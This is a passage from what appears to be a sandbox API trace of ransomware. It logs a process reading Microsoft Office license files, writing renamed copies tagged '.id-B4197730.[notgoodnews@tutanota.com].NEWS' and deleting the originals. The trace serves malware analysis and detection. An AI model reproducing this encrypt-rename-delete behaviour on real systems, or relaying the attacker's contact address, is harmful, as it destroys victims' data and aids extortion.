lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.517] lstrlenW (lpString=".zip") returned 4 [0179.517] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.518] lstrlenW (lpString=".rar") returned 4 [0179.518] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.518] lstrlenW (lpString=".bz2") returned 4 [0179.518] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.518] lstrlenW (lpString=".7z") returned 3 [0179.518] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.518] lstrlenW (lpString=".dbf") returned 4 [0179.518] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.518] lstrlenW (lpString=".1cd") returned 4 [0179.518] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.518] lstrlenW (lpString=".jpg") returned 4 [0179.518] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.518] lstrlenW (lpString=".doc") returned 4 [0179.518] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.518] lstrlenW (lpString=".docx") returned 5 [0179.518] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.518] lstrlenW (lpString=".pdf") returned 4 [0179.518] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.518] lstrlenW (lpString=".xls") returned 4 [0179.519] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.519] lstrlenW (lpString=".xlsx") returned 5 [0179.519] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.519] lstrlenW (lpString=".ppt") returned 4 [0179.519] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.519] lstrlenW (lpString=".zip") returned 4 [0179.519] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.519] lstrlenW (lpString=".rar") returned 4 [0179.519] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.519] lstrlenW (lpString=".bz2") returned 4 [0179.519] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.519] lstrlenW (lpString=".7z") returned 3 [0179.519] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.519] lstrlenW (lpString=".dbf") returned 4 [0179.519] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.519] lstrlenW (lpString=".1cd") returned 4 [0179.519] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0179.519] lstrlenW (lpString=".jpg") returned 4 [0179.520] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.520] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0179.520] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0179.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0179.521] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11582) returned 1 [0179.521] CloseHandle (hObject=0x4e8) returned 1 [0179.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0179.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0179.676] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.676] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.069] GetLastError () returned 0x0 [0180.069] ReadFile (in: hFile=0x4e8, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0180.072] WriteFile (in: hFile=0x564, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0180.074] ReadFile (in: hFile=0x4e8, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.074] WriteFile (in: hFile=0x564, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x10e, lpOverlapped=0x0) returned 1 [0180.074] SetEndOfFile (hFile=0x564) returned 1 [0180.074] CloseHandle (hObject=0x564) returned 1 [0180.075] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.075] SetEndOfFile (hFile=0x4e8) returned 1 [0180.087] CloseHandle (hObject=0x4e8) returned 1 [0180.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1 [0180.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.089] lstrlenW (lpString=".doc") returned 4 [0180.089] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.089] lstrlenW (lpString=".docx") returned 5 [0180.089] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.089] lstrlenW (lpString=".pdf") returned 4 [0180.089] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.089] lstrlenW (lpString=".xls") returned 4 [0180.089] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.089] lstrlenW (lpString=".xlsx") returned 5 [0180.089] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.089] lstrlenW (lpString=".ppt") returned 4 [0180.089] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.089] lstrlenW (lpString=".zip") returned 4 [0180.090] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.090] lstrlenW (lpString=".rar") returned 4 [0180.090] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.090] lstrlenW (lpString=".bz2") returned 4 [0180.090] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.090] lstrlenW (lpString=".7z") returned 3 [0180.090] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.090] lstrlenW (lpString=".dbf") returned 4 [0180.090] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.090] lstrlenW (lpString=".1cd") returned 4 [0180.090] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.090] lstrlenW (lpString=".jpg") returned 4 [0180.090] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.140] lstrlenW (lpString=".doc") returned 4 [0180.140] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.141] lstrlenW (lpString=".docx") returned 5 [0180.141] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.141] lstrlenW (lpString=".pdf") returned 4 [0180.141] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.141] lstrlenW (lpString=".xls") returned 4 [0180.141] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.141] lstrlenW (lpString=".xlsx") returned 5 [0180.141] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.141] lstrlenW (lpString=".ppt") returned 4 [0180.141] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.141] lstrlenW (lpString=".zip") returned 4 [0180.141] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.141] lstrlenW (lpString=".rar") returned 4 [0180.141] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.141] lstrlenW (lpString=".bz2") returned 4 [0180.141] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.141] lstrlenW (lpString=".7z") returned 3 [0180.141] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.141] lstrlenW (lpString=".dbf") returned 4 [0180.141] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.142] lstrlenW (lpString=".1cd") returned 4 [0180.142] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0180.142] lstrlenW (lpString=".jpg") returned 4 [0180.142] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.142] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.142] lstrlenW (lpString="ExcelR_Retail-ppd.xrm-ms") returned 24 [0180.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.144] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=20844) returned 1 [0180.144] CloseHandle (hObject=0x4f0) returned 1 [0180.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220 [0180.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.145] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.145] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0180.150] GetLastError () returned 0x0 [0180.150] ReadFile (in: hFile=0x4f0, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x516c, lpOverlapped=0x0) returned 1 [0180.176] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x5170, lpOverlapped=0x0) returned 1 [0180.178] ReadFile (in: hFile=0x4f0, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.178] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x104, lpOverlapped=0x0) returned 1 [0180.178] SetEndOfFile (hFile=0x4e8) returned 1 [0180.178] CloseHandle (hObject=0x4e8) returned 1 [0180.178] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.178] SetEndOfFile (hFile=0x4f0) returned 1 [0180.183] CloseHandle (hObject=0x4f0) returned 1 [0180.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1 [0180.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.185] lstrlenW (lpString=".doc") returned 4 [0180.185] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.185] lstrlenW (lpString=".docx") returned 5 [0180.185] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.185] lstrlenW (lpString=".pdf") returned 4 [0180.185] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.185] lstrlenW (lpString=".xls") returned 4 [0180.185] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.185] lstrlenW (lpString=".xlsx") returned 5 [0180.185] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.185] lstrlenW (lpString=".ppt") returned 4 [0180.185] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.185] lstrlenW (lpString=".zip") returned 4 [0180.185] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.185] lstrlenW (lpString=".rar") returned 4 [0180.185] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.185] lstrlenW (lpString=".bz2") returned 4 [0180.185] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.186] lstrlenW (lpString=".7z") returned 3 [0180.186] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.186] lstrlenW (lpString=".dbf") returned 4 [0180.186] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.186] lstrlenW (lpString=".1cd") returned 4 [0180.186] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.186] lstrlenW (lpString=".jpg") returned 4 [0180.186] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.186] lstrlenW (lpString=".doc") returned 4 [0180.186] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.186] lstrlenW (lpString=".docx") returned 5 [0180.186] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.186] lstrlenW (lpString=".pdf") returned 4 [0180.186] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.186] lstrlenW (lpString=".xls") returned 4 [0180.186] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.186] lstrlenW (lpString=".xlsx") returned 5 [0180.186] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.186] lstrlenW (lpString=".ppt") returned 4 [0180.187] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.187] lstrlenW (lpString=".zip") returned 4 [0180.187] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.187] lstrlenW (lpString=".rar") returned 4 [0180.187] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.187] lstrlenW (lpString=".bz2") returned 4 [0180.187] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.187] lstrlenW (lpString=".7z") returned 3 [0180.187] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.187] lstrlenW (lpString=".dbf") returned 4 [0180.187] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.187] lstrlenW (lpString=".1cd") returned 4 [0180.187] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0180.187] lstrlenW (lpString=".jpg") returned 4 [0180.187] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.188] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.188] lstrlenW (lpString="ExcelR_Retail-ul-oob.xrm-ms") returned 27 [0180.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.189] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11574) returned 1 [0180.189] CloseHandle (hObject=0x4f0) returned 1 [0180.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220 [0180.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.190] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.190] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0180.192] GetLastError () returned 0x0 [0180.192] ReadFile (in: hFile=0x4f0, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d36, lpOverlapped=0x0) returned 1 [0180.207] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0180.209] ReadFile (in: hFile=0x4f0, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.209] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x10a, lpOverlapped=0x0) returned 1 [0180.209] SetEndOfFile (hFile=0x4e8) returned 1 [0180.210] CloseHandle (hObject=0x4e8) returned 1 [0180.210] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.210] SetEndOfFile (hFile=0x4f0) returned 1 [0180.235] CloseHandle (hObject=0x4f0) returned 1 [0180.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1 [0180.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0180.477] lstrlenW (lpString=".doc") returned 4 [0180.477] lstrcmpiW (lpString1=".doc", 